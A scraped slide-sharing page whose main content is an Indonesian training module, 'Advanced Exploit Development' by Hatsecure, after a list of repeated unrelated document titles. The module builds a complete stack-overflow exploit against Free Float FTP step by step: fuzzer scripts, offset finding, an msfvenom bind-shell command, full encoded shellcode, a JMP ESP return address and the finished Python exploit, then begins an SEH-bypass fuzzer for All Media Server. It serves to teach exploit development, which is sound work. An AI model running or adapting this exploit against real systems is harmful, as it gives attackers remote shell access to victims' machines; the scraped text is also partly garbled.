Tutorial penggunaan total station   edi supriyanto, stTutorial penggunaan total station   edi supriyanto, st
Tutorial penggunaan total station edi supriyanto, st
 
Crystal xcelsius engage 2008 dalam bahasa indonesia
Crystal xcelsius engage 2008 dalam bahasa indonesiaCrystal xcelsius engage 2008 dalam bahasa indonesia
Crystal xcelsius engage 2008 dalam bahasa indonesia
 
Algoritma dan pemrograman
Algoritma dan pemrogramanAlgoritma dan pemrograman
Algoritma dan pemrograman
 
Algoritma dan pemrograman
Algoritma dan pemrogramanAlgoritma dan pemrograman
Algoritma dan pemrograman
 
Swing excerpt
Swing excerptSwing excerpt
Swing excerpt
 
Swing excerpt
Swing excerptSwing excerpt
Swing excerpt
 
Swing excerpt
Swing excerptSwing excerpt
Swing excerpt
 
LaTeX InDesign with Smart Diagram Miicrosoft Word 2013
LaTeX InDesign with Smart Diagram Miicrosoft Word 2013LaTeX InDesign with Smart Diagram Miicrosoft Word 2013
LaTeX InDesign with Smart Diagram Miicrosoft Word 2013
 
Manual aplikasi dapodikdas_v300_01082014
Manual aplikasi dapodikdas_v300_01082014Manual aplikasi dapodikdas_v300_01082014
Manual aplikasi dapodikdas_v300_01082014
 
tutor cloud computing ec2-ug.pdf
tutor cloud computing ec2-ug.pdftutor cloud computing ec2-ug.pdf
tutor cloud computing ec2-ug.pdf
 
Membuat Dokumen LaTeX Eleventh Edition
Membuat Dokumen LaTeX  Eleventh EditionMembuat Dokumen LaTeX  Eleventh Edition
Membuat Dokumen LaTeX Eleventh Edition
 

Advanced Exploit Development (Updated on 28 January, 2016)

  • 1. HATSECURE TRAINING #DEMO EVENT 22 – 23 JUNI 2013 ADVANCED EXPLOIT DEVELOPMENT Danang Heriyadi danang@hatsecure.com Copyright By Hatsecure Advanced Exploit Development
  • 2. Disclaimer Dilarang merubah isi modul dan menggandakan modul ini tanpa seijin penulis Copyright By Hatsecure Copyright By Hatsecure Advanced Exploit Development
  • 3. Table of Contents Introduction..................................................................................................... 6 0x01 Classic stack overflow.................................................................... 7 Objective............................................................................................. 7 Overview................................................................................................. 7 Exercise................................................................................................... 7 Free float FTP Vulnerability................................................................ 8 Fuzzing : Crash the service............................................................ 9 Fuzzing : Finding the Right Offset to EIP.................................... 10 Controlling the EIP...................................................................... 17 Take over the victim..................................................................... 22 Conclusion........................................................................................ 23 0x02 Bypassing Structured Exception Handling........................... 24 Objective........................................................................................... 24 Overview..................................................................................... 24 Structured Exception Handling.................................................... 25 SEH / Safe SEH Bypassing Theory.............................................. 25 Testing SEH / SafeSEH protection.............................................. 25 Exercise....................................................................................... 28 All Media Server Vulnerability.......................................................... 28 Module intruction mapping.......................................................... 30 Returning into our shellcode....................................................... 39 Conclusion........................................................................................ 39 0x03 Bypassing Data Exception Prevention................................... 40 Objective........................................................................................... 40 Copyright By Hatsecure Advanced Exploit Development
  • 4. Overview..................................................................................... 40 Data Exception Prevention.......................................................... 40 DEP Bypassing theory................................................................. 40 Testing DEP Protection............................................................... 41 Case Of study : Sami FTP Vulnerability............................................ 41 Return Oriented Programming..................................................... 41 Defeating DEP with ROP............................................................ 44 Returning into our shellcode....................................................... 45 Conclusion........................................................................................ 47 0x03 Bypassing ASLR in windows 7.................................................. 48 Objective........................................................................................... 48 Overview..................................................................................... 48 Address Space Layout Randomization........................................ 48 ASLR bypass theory.................................................................... 48 0x04 Heap Memory Exploitation........................................................... X Objective............................................................................................. X Overview....................................................................................... X Heap Memory Layout.................................................................... X Case Of Study : Heap Spraying Internet Explorer.............................. X Heap Spray Technique................................................................... X Triggering Vulnerability.................................................................. X Returning into heap buffer............................................................. X Conclusion.......................................................................................... X 0x05 Metasploit Module Development............................................... X Objective............................................................................................. X Overview....................................................................................... X Copyright By Hatsecure Advanced Exploit Development
  • 5. Convert your exploit to metasploit module.................................. X 0x06 Shellcode Development................................................................. X Objective............................................................................................. X Overview....................................................................................... X Software Required......................................................................... X Windows API................................................................................. X Static Shellcode Writing..................................................................... X Message Box................................................................................. X Windows Execute.......................................................................... X Combination shellcode.................................................................. X Convert your shellcode to metasploit module.............................. X Shellcode Injection with metasploit.................................................... X Reporting............................................................................................ X Copyright By Hatsecure Advanced Exploit Development
  • 6. Introduction Exploit adalah suatu script yang menyerang melalui celah keamanan komputer secara spesifik. Dalam exploit terkadang ditemukan suatu shellcode, shellcode inilah yang menjadi suatu amunisi dari tool exploit. Tool exploit bukan hal yang asing oleh seseorang yang menjadi praktisi keamanan. Tool ini bisa digunakan untuk menguji keamanan secara legal. Pada training “advanced exploit development” ini kita akan membahas dan mengupas bagaimana seorang praktisi keamanan mencari celah keamanan, membuat dan mengembangkan exploit. Copyright By Hatsecure Advanced Exploit Development
  • 7. 0x01 Classic Stack Overflow Objective • Memahami konsep stack overflow • Memahami metode debugging • Memahami metode fuzzing atau fuzz testing • Mampu mengeksploitasi celah stack overflow Overview Celah basis stack overflow terjadi ketika software melakukan penulisan data melebihi kapasitas buffer. Sehingga data yang melebihi tersebut akan merubah nilai yang ada dalam register memory. Contoh source code yang memiliki celah stack overflow : Source code diatas ketika kita kompilasi dan eksekusi.Kita hanya dapat mengisi data maksimal 20 karakter dan apabila lebih dari 20 karakter, data yang kita masukkan akan merubah nilai yang ada dalam register memory. Exercise Cobalah untuk mengulang hingga memahami konsep dan eksploitasi stack overflow. Copyright By Hatsecure Advanced Exploit Development #include <stdio.h> int main(){ char data[20]; printf(“Masukkan data : “); gets(data); return 0; }
  • 8. Free float FTP Vulnerability Pertama kali exploit dari software Free Float FTP di publish oleh 0v3r di situs www.exploit-db.com. Beliau menemukan kerentanan pada command USER, command ini digunakan untuk melakukan authentification ketika akan mengakses FTP server. Sebagai contoh sederhana, dibawah ini merupakan source code login FTP : Copyright By Hatsecure Advanced Exploit Development import socket username = “anonymous” password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 9. Fuzzing: Crash the Service Fuzzing atau fuzz testing merupakan metode untuk mengetahui apakah suatu software memiliki celah buffer overflow. Jika software mengalami crash dapat dipastikan mungkin terdapat celah pada software tersebut. Jalankan freefloat FTP melalui immunity debugger. Melalui terminal kali linux, buatlah script FTP fuzzer : Perhatikan apa yang terjadi ketika script fuzzer dijalankan : Copyright By Hatsecure Advanced Exploit Development root@kali:~# python ftp.py 220 FreeFloat Ftp Server (Version 1.00). 331 Password required for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA. import socket username = “A” * 1000 password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 10. Perhatikan alamat EIP berubah menjadi 41414141 (ASCII “AAAA”). Alamat 41414141 tidak ditemukan atau diketahui sehingga software berhenti secara tidak normal. Secara teori apabila kita berhasil merubah nilai yang ada dalam register EIP, maka kemungkinan besar kita dapat mengarahkan EIP ke alamat yang terdapat shellcode. Untuk merubahnya kita harus menuliskan nilai dengan tepat pad EIP. Fuzzing: Finding the Right Offset to EIP Metode ini diperlukan untuk mengetahui berapa karakter yang perlu ditulis untuk memenuhi variabel lokal dan untuk mencapai EIP. Pada terminal kali linux jalankan perintah : Perintah diatas digunakan untuk generate kombinasi karakter. Kita tulis 1000 sesuai tool fuzzer sebelumnya yang telah kita buat. Sehingga akan muncul Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/ root@kali:~# ./pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac 2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7 Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj 0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5 An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap 8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A s1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3 Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw 6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8A y9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1 Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd 4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
  • 11. kombinasi sebanyak 1000 karakter. Copy kombinasi karakter tersebut dan masukkan ke dalam script fuzzer. Restart software debugger pada menekan tombol CTRL+F2. Dan jalankan kembali free float ftp melalui immunity debugger. Setelah itu jalankan kembali script fuzzer. Perhatikanlah EIP register yang berhasil dirubah, nilainya menjadi 37684136 Copyright By Hatsecure Advanced Exploit Development import socket username=“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A b9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1 Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag 4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6A i7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9 Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An 2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4A p5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7 Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au 0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2A w3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5 Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba 8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0B d1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3 Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B” password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) root@kali:~# python ftp.py
  • 12. Kita cari offset menggunakan pattern_offset.rb, melalui terminal linux jalankan perintah berikut : Dari output diatas kita tahu bahwa membutuhkan sebanyak 230 karakter untuk memenuhi variabel lokal dan ditambahkan 4 untuk merubah nilai EIP. Sehingga kita perlu merubah script fuzzer menjadi : Restart software free float ftp dengan menekan tombol CTRL + F2 pada immunity debugger. Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools root@kali:~# ./pattern_offset.rb 37684136 [*] Exact match at offset 230 import socket username = “A” * 230 eip = “BBBB” password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 13. Jalankan lagi free float ftp melalui immunity debugger. Lalu eksekusi lagi script FTP fuzzer. Perhatikan EIP register menjadi 42424242 (ASCII=BBBB). Kita sudah berhasil dan tepat merubah nilai pada EIP register. Selanjutnya cobalah menambahkan intruksi nop atau No Operation (0x90) pada script fuzzer menjadi : Restart free float ftp seperti sebelumnya dan jalankan kembali melalui immunity debugger. Pada kali ini tujuan kita adalah mengetahui dimana letak NOP (0x90) berada. Secara teori seharusnya sekumpulan nop (0x90) alamatnya berada pada ESP register. Namun kita perlu memastikannya dengan menjalankan script fuzzer Copyright By Hatsecure Advanced Exploit Development import socket username = “A” * 230 eip = “BBBB” nop = “x90” * 500 password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+nop+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 14. yang sudah ditambahkan NOP. Perhatikan screenshot dibawah ini : Klik kanan pada ESP register lalu pilih Follow in Dump. Pada dump view akan muncul NOP (0x90) sebanyak 500 byte. Copyright By Hatsecure Advanced Exploit Development root@kali:~# python ftp.py
  • 15. Kita dapat menyimpulkan alamat yang tersimpan pada ESP mengarah pada nop yang kita kirim sebanyak 500 byte. Kita dapat menambahkan shellcode bind tcp. Untuk generatenya menggunakan perintah : Copyright By Hatsecure Advanced Exploit Development root@kali:~# msfvenom -p windows/shell_bind_tcp RPORT=4444 -b "x0ax00x0d" [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) buf = "xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" + "xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" + "xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" + "x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" + "xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" + "x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" + "x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" + "x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" + "x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" + "x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" + "x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" + ...........................................................
  • 16. Lalu tambahkan pada script fuzzer menjadi : Copyright By Hatsecure Advanced Exploit Development import socket username = “A” * 230 eip = “BBBB” shellcode = ("xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" + "xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" + "xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" + "x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" + "xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" + "x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" + "x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" + "x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" + "x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" + "x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" + "x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" + "xccxfcxd0xdcx55x59xb7xe1x86x05x68x44xccxa4" + "x7dxfex8fxa0xb2xcdx2fx31xdcx46x43x03x43xfd" + "xcbx2fx0cxdbx0cx4fx27x9bx83xaexc7xdcx8ax74" + "x93x8cxa4x5dx9bx46x35x61x4exc8x65xcdx20xa9" + "xd5xadx90x41x3cx22xcfx72x3fxe8x66xb5xf1xc8" + "x2bx52xf0xeexdaxfex7dx08xb6xeex2bx82x2excd" + "x0fx1bxc9x2ex7ax37x42xb9x32x51x54xc6xc2x77" + "xf7x6bx6ax10x83x67xafx01x94xadx87x48xadx26" + "x5dx25x7cxd6x62x6cx16x7bxf0xebxe6xf2xe9xa3" + "xb1x53xdfxbdx57x4ex46x14x45x93x1ex5fxcdx48" + "xe3x5exccx1dx5fx45xdexdbx60xc1x8axb3x36x9f" + "x64x72xe1x51xdex2cx5ex38xb6xa9xacxfbxc0xb5" + "xf8x8dx2cx07x55xc8x53xa8x31xdcx2cxd4xa1x23" + "xe7x5cxd1x69xa5xf5x7ax34x3cx44xe7xc7xebx8b" + "x1ex44x19x74xe5x54x68x71xa1xd2x81x0bxbaxb6" + "xa5xb8xbbx92" )
  • 17. Controlling EIP Setelah berhasil pada metode fuzzing sebelumnya, langkah ini bertujuan mengontrol EIP dengan mengarahkannya ke shellcode yang telah kita kirim. Dari hasil analisa sebelumnya kita sudah memahami bahwa ESP menyimpan alamat shellcode kita yang ada didalam stack. Sehingga kita perlu mengarahkan EIP ke alamat yang menyimpan intruksi JMP ESP. Perlu diperhatikan : Kita menghindari bad character, antara lain 0a, 0d, 00. Karakter ini biasanya menjadi semacam terminator pada shellcode kita, sehingga shellcode kita tidak bekerja semestinya. Untuk memulai mencari alamat intruksinya, kita perlu module sebagai loncatan kita. Namun kita harus mencari tahu module mana yang tidak terproteksi ASLR dengan menggunakan perintah berikut pada panel command immunity debugger : Copyright By Hatsecure Advanced Exploit Development nop = “x90” * (500-len(shellcode)) password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+nop+shellcode+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close() !mona noaslr
  • 18. Default pada windows XP hampir semua module tidak terproteksi ASLR, dapat diliat di layar immunity debugger semua module muncul setelah kita ketik perintah !mona noaslr Disini kita gunakan module user32.dll, anda dapat mencoba module lain jika perlu. Pada menu view, pilih Executable modules. Kemudian enter pada user32.dll seperti gambar dibawah ini : Copyright By Hatsecure Advanced Exploit Development
  • 19. Langkah selanjutnya adalah mencari intruksi JMP ESP. Kita dapat mudah mencarinya dengan tombol CTRL+F dan tulis “JMP ESP”. Alamat JMP ESP berhasil ditemukan yakni 0x7E4456F7. Alamat tersebut tidak ada bad character sehingga kita bisa langsung menuliskannya ke dalam script fuzzer sebelumnya. Ingat, bahwa kita perlu merubah alamat tersebut menjadi format little endian. Kita bisa merubahnya manual dengan menuliskan dari belakang menjadi 0xF756447E. Atau bisa juga menggunakan library python struct, dengan memanggil fungsi struct.pack(“<I”, 0x7E4456F7). Copyright By Hatsecure Advanced Exploit Development
  • 20. Berikut adalah script exploit dari script fuzzer sebelumnya : Copyright By Hatsecure Advanced Exploit Development import socket, struct username = “A” * 230 eip = struct.pack(“<I”, 0x7E4456F7) shellcode = ("xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" + "xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" + "xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" + "x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" + "xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" + "x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" + "x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" + "x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" + "x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" + "x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" + "x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" + "xccxfcxd0xdcx55x59xb7xe1x86x05x68x44xccxa4" + "x7dxfex8fxa0xb2xcdx2fx31xdcx46x43x03x43xfd" + "xcbx2fx0cxdbx0cx4fx27x9bx83xaexc7xdcx8ax74" + "x93x8cxa4x5dx9bx46x35x61x4exc8x65xcdx20xa9" + "xd5xadx90x41x3cx22xcfx72x3fxe8x66xb5xf1xc8" + "x2bx52xf0xeexdaxfex7dx08xb6xeex2bx82x2excd" + "x0fx1bxc9x2ex7ax37x42xb9x32x51x54xc6xc2x77" + "xf7x6bx6ax10x83x67xafx01x94xadx87x48xadx26" + "x5dx25x7cxd6x62x6cx16x7bxf0xebxe6xf2xe9xa3" + "xb1x53xdfxbdx57x4ex46x14x45x93x1ex5fxcdx48" + "xe3x5exccx1dx5fx45xdexdbx60xc1x8axb3x36x9f" + "x64x72xe1x51xdex2cx5ex38xb6xa9xacxfbxc0xb5" + "xf8x8dx2cx07x55xc8x53xa8x31xdcx2cxd4xa1x23" + "xe7x5cxd1x69xa5xf5x7ax34x3cx44xe7xc7xebx8b" + "x1ex44x19x74xe5x54x68x71xa1xd2x81x0bxbaxb6" + "xa5xb8xbbx92" ) nop = “x90” * (500-len(shellcode)) password = “anonymous”
  • 21. Restart free float ftp seperti sebelumnya. Kemudian jalankan kembali free float ftp melalui immunity debugger. Lihat pada command prompt, ketik perintah : netstat -an Port 4444 belum terbuka, sekarang jalankan exploit yang telah kita buat tadi. Copyright By Hatsecure Advanced Exploit Development s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+nop+shellcode+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close() root@kali:~# python ftp.py
  • 22. Lihat kembali pada command prompt, jalankan perintah netstat -an.Maka akan terlihat port 4444 terbuka. Take Over the Victim Jika exploit yang anda buat berhasil, dan berhasil membuka port langkah terakhir mencoba mengakses port tersebut. Melalui terminal jalankan perintah seperti dibawah ini : Copyright By Hatsecure Advanced Exploit Development
  • 23. Conclusion Stack overflow non protection sangat mudah untuk di eksploitasi. Kita hanya perlu menyisipkan shellcode kedalam stack dan mengarahkan EIP ke alamat shellcode. Copyright By Hatsecure Advanced Exploit Development
  • 24. 0x02 Bypassing Structured Exception Handling Objective • Memahami mekanisme SEH • Memahami proteksi module SafeSEH • Memahami teknik meloloskan mekanisme SEH • Mampu mengeksploitasi celah stack overflow dengan proteksi SEH Overview Structured Exception Handling (SEH) adalah mekanisme yang dimiliki hardware ataupun software untuk menangani exception yang ada. Exception pada hardware dimunculkan oleh CPU contohnya dikarenakan eksekusi intruksi yang menghasilkan error, contoh lainnya mencoba mengakses memori yang salah. Sedangkan exception pada software muncul dikarenakan input validation atau sanitasi input, contohnya invalid parameter value. Ketika seorang programmer mengimplementasikan mekanisme SEH, maka software yang dibuatnya akan mengontrol penuh error yang muncul dan melemparkan ke fungsi SEH. Selain itu dengan munculnya mekanisme SEH ini ketika kita melakukan exploitasi dan menyisipkan shellcode dalam stack, maka data kita tidak berada dalam ESP. Gambar dibawah ini ada contoh 2 perbedaan mendasar antara data didalam stack saat menggunakan metode classic stack overflow non SEH & SEH : Copyright By Hatsecure Advanced Exploit Development NON SEH (ESP) 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 SEH (ESP) 7C 90 32 A8 02 2B F6 18 02 2B FD 74 02 2B F6 34 02 2B F5 EC
  • 25. Jika anda perhatikan teliti, pada kondisi non seh kita dapat langsung melakukan langsung melompat ke ESP karena dalam ESP sudah terdapat NOP + shellcode. Tetapi berbeda pada kondisi software yang mengimplementasikan SEH. Pada ESP terdapat alamat, bukan nop atau shellcode kita. SEH and SafeSEH Bypassing Theory Perhatikan tumpukan data pada stack berikut ini : • Tumpukan pertama 0x7C9032A8 merupakan alamat untuk memunculkan kondisi error yang akan dilempar ke fungsi SEH. • Tumpukan kedua 0x022BF618 merupakan alamat eksekusi SEH. • Tumpukan 0x022BFD74 ketiga merupakan dimana data kita berada (shellcode). Sehingga yang kita perlukan adalah bagaimana agar kita bisa mengeksekusi alamat 0x022BFD74 yang berada di tumpukan ketiga. Kita dapat mengarahkan SEH handler ke intruksi : • Intruksi POP pertama adalah mengeluarkan tumpukan pertama yakni 0x7C9032A8. • Intruksi POP kedua adalah mengeluarkan tumpukan kedua yakni 0x022BF618. • Dan intruksi RETN akan kembali ke alamat tumpukan ketiga yakni 0x022BFD74 dan mengeksekusi intruksi dalam alamat tersebut (shellcode). Testing SEH or SafeSEH Protection Peserta diharapkan mencoba langsung melakukan debugging dan exploitasi software (SEH) dengan metode classic stack overflow untuk lebih memahami mekanisme bypass yang akan dibahas berikutnya. Pertama kita harus melakukan fuzzing atau fuzz testing seperti biasanya, berikut adalah script fuzzer dari software All Media Server. Copyright By Hatsecure Advanced Exploit Development SEH (ESP) 7C 90 32 A8 02 2B F6 18 02 2B FD 74 02 2B F6 34 02 2B F5 EC POP register 32 bit POP register 32 bit RETN
  • 26. Jalankan aplikasi All Media Server melalui immunity debugger. Kemudian klik switch online seperti pada gambar di bawah ini : Jalankan script fuzzer : Copyright By Hatsecure Advanced Exploit Development #!/usr/bin/python import socket data = “A” * 1500 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data) s.close() root@kali:~# python allmedia.py
  • 27. Setelah script fuzzer dijalankan, software mengalami crash Access Volation, dan EIP register tidak ter-overwrite secara langsung (break sementara). Dan buka SEH chain, pada menu view kemudian pilih SEH chain Copyright By Hatsecure Advanced Exploit Development
